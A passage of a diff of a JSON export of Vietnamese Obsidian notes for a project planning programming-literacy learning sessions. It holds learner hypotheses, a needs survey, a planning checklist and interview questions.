Obsidian/500 người mở vault ít nhất 10 lần", + "Tiêu đề": "Giả thiết về đối tượng cần học cách lập trình", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/2 Giả thuyết/Giả thiết về đối tượng cần học cách lập trình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#tt/\r\n#file/thành-quả\r\n%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[1000 người mở vault 3 lần]]\r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "[[Khảo sát người muốn tham gia nhóm học lập trình]]\n[[Giả thiết về giá trị của Trấn Kỳ]]\n# Lý do muốn học\n- Chủ động hơn trong công việc hiện tại\n- Quản lý được thông tin, dữ liệu, kiến thức của mình\n- Nói chuyện với dev được tốt hơn\n- Có thêm nhiều lựa chọn công việc hơn\n- Không phải tốn tiền thuê những thứ mà mình có thể làm được, hoặc thậm chí tự mình làm sẽ tốt hơn\n\n# Kết quả mong muốn\n- Hiểu được các khái niệm cơ bản để có thể:\n - Đọc các tài liệu trôi chảy\n - Có khả năng tự tìm hiểu trên Google\n - Vượt qua được sự hoang mang khi không biết mình cần phải bắt đầu từ đâu\n - Không còn thấy sợ vì bị ngộp bởi quá nhiều thuật ngữ\n - Không còn thấy việc lập trình giống như làm phép thuật\n- Có được các hiểu biết sâu trong ngành để có thể có những gợi ý tốt hơn trong việc pháp triển cá nhân và sự nghiệp\n\n## Những thứ không đòi hỏi\n- Không cần phải thành thạo quá nhiều về kỹ thuật vì không có ý định làm lập trình viên chuyên nghiệp \n- Không cần trình độ người hướng dẫn cao, chỉ giúp trả lời câu hỏi là được\n\n# Lý do nhu cầu bị kìm nén\n## Trong việc tự nghiên cứu\n- Những bài viết ở trên đầu Google thì nhiều khi là do SEO nên không thực sự đủ sâu, chỉ lớt phớt để bán hàng, bán khoá học\n- Để tìm được bài viết đủ sâu thì cần phải dùng đúng từ khoá để kiếm\n- Những bài viết chuyên sâu thì cũng có thể làm người mới thấy ngộp vì quá nhiều thuật ngữ\n- Những bài vừa chất lượng lại giải thích dễ hiểu cho người mới thì sẽ dài, cần thời gian để đọc. Có khi dài thành cả một cuốn sách. Trong khi đó nhu cầu học kỹ năng đó của ta nhiều khi chỉ là nhu cầu phái sinh trong lúc cần giải quyết một bài toán lớn hơn, hoặc cần giải quyết song song với những bài toán khác. Việc đọc chúng lại phân tán sự tập trung khỏi việc khác\n\n## Trong việc học khoá học\n- Không phải lúc nào cũng có tiền để đi học. Nếu đó là khóa học không online và nơi tổ chức ở xa thì càng khó khăn hơn\n- Việc đi tìm khoá học ưng ý chất chồng lên sự nhức đầu của ta\n- Không phải lúc nào thời gian học cũng phù hợp với lịch của ta. Lúc cần thì không có, lúc có thì không cần\n- Vì phải phục vụ cho nhiều người nên nội dung chỉ có thể mang tính gợi mở, chứ khó mà cá nhân hoá được. Điều đó làm ta thất vọng đôi chút, vì nếu câu hỏi của ta không được giải đáp mà chỉ chuyển từ dạng này sang dạng khác, thì sự nhức đầu của ta cũng không mất đi\n\n\n\n# Người cần tổ chức dữ liệu, xây dựng PKM, ERP, giàn giáo nhận thức cho mình\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\n| ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------ | ------------------------------------- |\n| | Một nguồn tài nguyên tiếng Việt đi đủ sâu, đủ bao quát, cập nhật các nghiên cứu mới và tiện tiếp cận về sự tư duy của con người và đặt nhu cầu của họ lên cao nhất | Các ghi chú trên [[🌟 Mở đầu\\|Obsidian, quản lý dự án và công cụ nghĩ]] đáng tin cậy | [[Lý do viết Trấn Kỳ]], [[🌟 Mở đầu]] |\n\n# Người cần học lập trình\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\n| --------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Các tài liệu căn bản thì không tạo cảm giác đáp ứng được gì cho công việc. Tài liệu hướng dẫn đúng vào công việc thì lại mặc định người đọc đã có căn bản | Sự tự tin hơn trong việc thao tác dữ liệu, và thấy mình có thể gia nhập thế giới phép thuật | Những bài hướng dẫn sử dụng tạo cảm giác dễ hiểu, hấp dẫn, không tạo cảm giác có quá nhiều thuật ngữ khiến họ thấy ngộp | [[Lý do viết Trấn Kỳ]], [Hướng dẫn sử dụng Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8FTr%E1%BA%A5n%20K%E1%BB%B3/H%C6%B0%E1%BB%9Bng%20d%E1%BA%ABn%20s%E1%BB%AD%20d%E1%BB%A5ng%20Tr%E1%BA%A5n%20K%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+K%E1%BA%BF+ho%E1%BA%A1ch+ph%C3%A1t+tri%E1%BB%83n+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3), [[Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ]], [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] |\n| Những người có kiến thức thì đều chỉ muốn bán khoá học hoặc làm thuê chứ không muốn chỉ họ tận tình | Người trả tiền cho họ để họ học lập trình | Những người làm phát triển sản phẩm hoặc có yêu cầu quản lý tài chính phức tạp thấy việc thuê những người học để thiết lập hệ thống quản trị cho họ là xứng đáng | Mạng kết nối nhu cầu |\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OT" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-26T10:37:00.000Z", + "id": "Oh" }, { - "Tiêu đề": "80% người mới đến được nơi họ cần đến trong 3 giây", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/80% người mới đến được nơi họ cần đến trong 3 giây", + "Tiêu đề": "Untitled", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/2 Giả thuyết/Untitled", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OU" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-25T08:03:00.000Z", + "id": "Oi" }, { - "Tiêu đề": "người làm vault để quản lý cuộc sống của họ", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng tạo vault để quản lý cuộc sống của họ/người làm vault để quản lý cuộc sống của họ", + "Tiêu đề": "Mỗi tuần có 450 người học", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/3 Thành quả mong muốn/Mỗi tuần có 450 người học", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/đang-làm\r\nĐộ cấp thiết:: #đct/cao\r\nĐối tượng thụ hưởng:: [[Người muốn quản lý cuộc sống cá nhân]]\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm:: \r\n\r\n\r\n```dataview\r\nlist thành-quả-cần-có[0][0] \r\nfrom \"📐 Dự án hỗ trợ người mới học Obsidian/6 Kế hoạch\" \r\n```\r\n\r\n```dataviewjs\r\ndv.span(dv.pages('\"📐 Dự án hỗ trợ người mới học Obsidian/6 Kế hoạch\"')[\"Thành quả cần có\"][0][0])\r\n```\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OV" + "Ngày tạo": "2023-11-17T09:50:00.000Z", + "Ngày cập nhật": "2023-11-17T09:50:00.000Z", + "id": "Oj" }, { - "Tiêu đề": "1 người tham gia phỏng vấn mỗi tuần", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/1 người tham gia phỏng vấn mỗi tuần", + "Tiêu đề": "Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Kế hoạch/Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/đang-làm\r\nĐộ cấp thiết:: #đct/cao\r\nĐối tượng thụ hưởng:: \r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "| Thành quả mong muốn | Giả thiết | Công việc |\n| -------------------------------------------------------------------------- | ------------------------------------------------- | --------------------------------------------------------------------------------------------- |\n| [[Mỗi tuần có 20 người nhắn tin trên thread Trấn Kỳ trên Discord Quả Cầu]] | Cứ 2 người vào thread Trấn Kỳ thì có 1 người nhắn | [[Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ\\|Tổ chức các buổi hướng dẫn người dùng sử dụng Trấn Kỳ]] |\n\n[[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\n[[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý|Tích hợp Trấn Kỳ vào hệ thống cá nhân]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OW" + "Ngày cập nhật": "2024-02-14T08:41:00.000Z", + "id": "Ok" }, { - "Tiêu đề": "100% người tham gia cho phản hồi về độ hấp dẫn của bài học", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/100% người tham gia cho phản hồi về độ hấp dẫn của bài học", + "Tiêu đề": "Kế hoạch tổ chức các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Kế hoạch", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/chưa-hoàn-thành\r\nĐộ cấp thiết:: #đct/trung-bình\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "- [ ] Kiểm chứng các giả định\n\t- [ ] Hỏi ý kiến mọi người về [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Mô hình kinh doanh]]\n- [ ] [[📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Nghiên cứu người dùng]] \n- [ ] Truyền thông\n\t- [ ] [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?]]\n\t- [ ] [[Nhập sự kiện vào Google Calendar]]\n\t- [ ] [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý]]\n\t- [ ] [[Bản khảo sát nhu cầu học lập trình]]\n- [ ] Tổ chức các buổi hướng dẫn\n\t- [ ] Tìm người có cùng nhu cầu để học cùng\n\n```dataview\nLIST\nFROM \"📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Kế hoạch\" \nWHERE file.name!=this.file.name\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OX" + "Ngày tạo": "2023-11-19T07:44:00.000Z", + "Ngày cập nhật": "2024-07-27T15:36:00.000Z", + "id": "Ol" }, { - "Tiêu đề": "20% người tham gia tìm hiểu về Quả Cầu", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/20% người tham gia tìm hiểu về Quả Cầu", + "Tiêu đề": "Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#tt/\r\n#file/thành-quả\r\n%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "# Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả?\nChào mọi người. Em hiện đang muốn tìm hiểu về nhu cầu học lập trình ở các cá nhân tham gia vào các dự án khác nhau (nghiên cứu, phi lợi nhuận, doanh nghiệp). Em đã liệt kê các giả định của em về nhu cầu của họ, và đã chuyển nó thành bảng hỏi. Do không có kinh nghiệm nghiên cứu định tính nên em muốn nhờ mọi người đóng góp ý kiến để bảng hỏi đạt chất lượng hơn. Việc có được bảng hỏi tốt sẽ giúp em thiết kế một giải pháp đáp ứng một nhu cầu hiểu biết tin học (computer literacy) của nhiều người mà em thấy khá dai dẳng nhưng chưa thấy có ai đáp ứng tốt.\n\nEm dự tính với những ai thể hiện nhu cầu cao em sẽ mời họ trải nghiệm thử giải pháp em đang thiết kế để vừa đáp ứng nhu cầu của họ vừa hoàn thiện nó hơn.\n\n**Hình 1 và 2 là các giả định của em. Hình 3 và 4 là bảng hỏi dành cho đáp viên.**\n\nEm cảm ơn mọi người đã dành thời gian quan tâm.\n\n[[Bản khảo sát nhu cầu học lập trình]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OY" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-25T15:49:00.000Z", + "id": "Om" }, { - "Tiêu đề": "3 người có 10 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/3 người có 10 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn", + "Tiêu đề": "Khảo sát người muốn tham gia nhóm học lập trình", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Khảo sát người muốn tham gia nhóm học lập trình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/đang-làm\r\nĐộ cấp thiết:: #đct/cao\r\nĐối tượng thụ hưởng:: [[Người muốn xây dựng cộng đồng hoặc mạng lưới]]\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "Mở mang hiểu biết tự nó là một điều có ý nghĩa rồi\n\nNếu, vậy thì cũng có rất nhiều thứ khác giúp bạn mở mạng hiểu biết. Vì sao bạn lại chọn lập trình mà không chọn những điều khác?\n\nĐộng lực của bạn\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày tạo": "2023-07-28T04:34:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OZ" + "id": "On" }, { - "Tiêu đề": "3 nhóm chỉ cần đi học không bị mất tiền", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/3 nhóm chỉ cần đi học không bị mất tiền", + "Tiêu đề": "Nghiên cứu người dùng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#tt/\r\n#file/thành-quả\r\n%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[4]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Oa" + "Ngày tạo": "2023-12-30T15:53:00.000Z", + "Ngày cập nhật": "2024-02-24T15:22:00.000Z", + "id": "Oo" }, { - "Tiêu đề": "50% người chia sẻ vault cho bạn bè", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/50% người chia sẻ vault cho bạn bè", + "Tiêu đề": "Bản khảo sát nhu cầu học lập trình", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Nhu cầu học lập trình/Bản khảo sát nhu cầu học lập trình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "[[Giả thiết về đối tượng cần học cách lập trình]]\n\n\nBạn hãy đánh giá mức độ đồng ý của bạn với các ý dưới đây. Điểm -2 là rất không đồng ý, điểm 2 là rất đồng ý.\n\n**Việc có kiến thức lập trình sẽ giúp tôi:**\n- Chủ động hơn trong công việc hiện tại\n- Quản lý được thông tin, dữ liệu, kiến thức của mình\n- Tìm kiếm và hiểu được lập trình viên được tốt hơn\n- Có thêm nhiều lựa chọn công việc hơn\n- Không phải tốn tiền thuê những thứ mà mình có thể làm được, hoặc thậm chí tự mình làm sẽ tốt hơn\n\n**Tôi muốn:**\n- Chủ động hơn trong công việc hiện tại\n- Quản lý được thông tin, dữ liệu, kiến thức của mình\n- Tìm kiếm và hiểu được lập trình viên được tốt hơn\n- Có thêm nhiều lựa chọn công việc hơn\n- Không phải tốn tiền thuê những thứ mà mình có thể làm được, hoặc thậm chí tự mình làm sẽ tốt hơn\n\n**Tôi mong muốn sau khi có kiến thức lập trình tôi có thể:**\n- Đọc các tài liệu trôi chảy\n- Có khả năng tự tìm hiểu trên Google\n- Vượt qua được sự hoang mang khi không biết mình cần phải bắt đầu từ đâu\n- Không còn thấy sợ vì bị ngộp bởi quá nhiều thuật ngữ\n- Cảm thấy tự tin hơn khi cần giải quyết các vấn đề liên quan đến lập trình\n- Có được các hiểu biết sâu trong ngành \n- Có những gợi ý tốt hơn trong việc pháp triển cá nhân và sự nghiệp\n\n**Tôi không thấy mình cần phải:**\n- Thành thạo quá nhiều về kỹ thuật\n- Có người hướng dẫn trình độ cao\n\n**Điều cản trở tôi tự nghiên cứu là:**\n- Những bài viết tôi kiếm được ở trên đầu Google không cho tôi hiểu biết cụ thể nào\n- Tôi không biết phải dùng từ khoá nào để tìm được bài viết đủ sâu\n- Những bài viết sâu tôi tìm được làm tôi thấy ngộp vì quá nhiều thuật ngữ\n- Tôi cần phải ưu tiên làm những việc khác hơn là tự nghiên cứu về lập trình\n\n**Điều cản trở tôi đăng ký các khoá học lập trình là:**\n- Khoá học tổ chức trực tiếp và tôi không có điều kiện để di chuyển đến đó\n- Tôi không có tiền để tham gia\n- Lịch của tôi không phù hợp với lịch các khoá học\n- Tôi không thấy chúng giúp tôi có được giải pháp tôi cần tìm\n- Tôi thấy có nhiều nội dung tôi không cần tới\n- Tôi không biết tìm khoá học đi thẳng vào giải pháp tôi cần tìm như thế nào\n- Tôi cần phải ưu tiên làm những việc khác", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Ob" + "Ngày tạo": "2024-02-24T18:44:00.000Z", + "Ngày cập nhật": "2024-02-25T16:30:00.000Z", + "id": "Op" }, { - "Tiêu đề": "Nhật hoàn thiện được vault giáo trình Obsidian", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/Nhật hoàn thiện được vault giáo trình Obsidian", + "Tiêu đề": "Mục tiêu và câu hỏi phỏng vấn", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Sự tiếp nhận với ý tưởng/Mục tiêu và câu hỏi phỏng vấn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%#file/thành-quả%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "# Mục tiêu phỏng vấn\nHiểu được:\n- Họ đã biết tới bài này thế nào?\n- Điều gì khiến họ quyết định bấm vào đọc?\n- Họ thấy tiêu đề thế nào?\n- Họ đã đọc như thế nào?\n- Họ hiểu bài này nói về cái gì?\n- Họ đánh giá thế nào về những điều bài này nói?\n\t- [ ] Thấy việc được chủ động định giá làm họ thấy công sức lao động của mình được tôn trọng, thấy được trao quyền\n\t\t- [ ] Thấy ở đây người tổ chức thực sự quan tâm đến nhu cầu của mình\n\t- [ ] Thấy nó giúp tiết kiệm thời gian của mình?\n\t- [ ] Không thấy việc phải tự định giá là nhức đầu\n\t- [ ] Thấy việc mình được quyền định giá thấp không có nghĩa là chất lượng kém\n\t- [ ] Nhắm được mức giá phù hợp\n\t- [ ] Thấy rằng AI hoặc nocode là không đủ và vẫn cần phải học lập trình\n\t- [ ] Hiểu được các buổi học được triển khai thế nào\n\t- [ ] Hiểu mình cần lên lộ trình học và kết quả đầu ra mong muốn\n- Điều gì khiến họ thấy ấn tượng nhất? \n- Điều gì khiến họ thấy thuyết phục nhất? \n- Điều gì khiến họ thấy thiếu thuyết phục nhất? \n- Họ đã bấm vào những link nào?\n\t- Vì sao những link đó thu hút hơn các link khác?\n- Họ ngừng đọc ở đâu?\n\t- Vì sao họ ngừng đọc?\n- Họ nghĩ ai là người sẽ quan tâm bài này?\n\t- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\n\n\n# Câu hỏi phỏng vấn\n## Bạn đã biết tới bài này thế nào?\n## Điều gì khiến bạn quyết định bấm vào đọc?\n## Bạn thấy tiêu đề thế nào?\n## Bạn đã đọc như thế nào?\n## Bạn hiểu bài này nói về cái gì?\n## Bạn đánh giá thế nào về những điều bài này nói?\n(Không hỏi những ô dưới đây, chỉ hỏi chung chung về những điều bài này nói. Nếu ô nào không được trả lời thì hỏi xem họ có đọc cái phần liên quan đến ô đó chưa, rồi hỏi họ thấy phần đó thế nào)\n- [ ] Thấy việc được chủ động định giá làm bạn thấy công sức lao động của mình được tôn trọng, thấy được trao 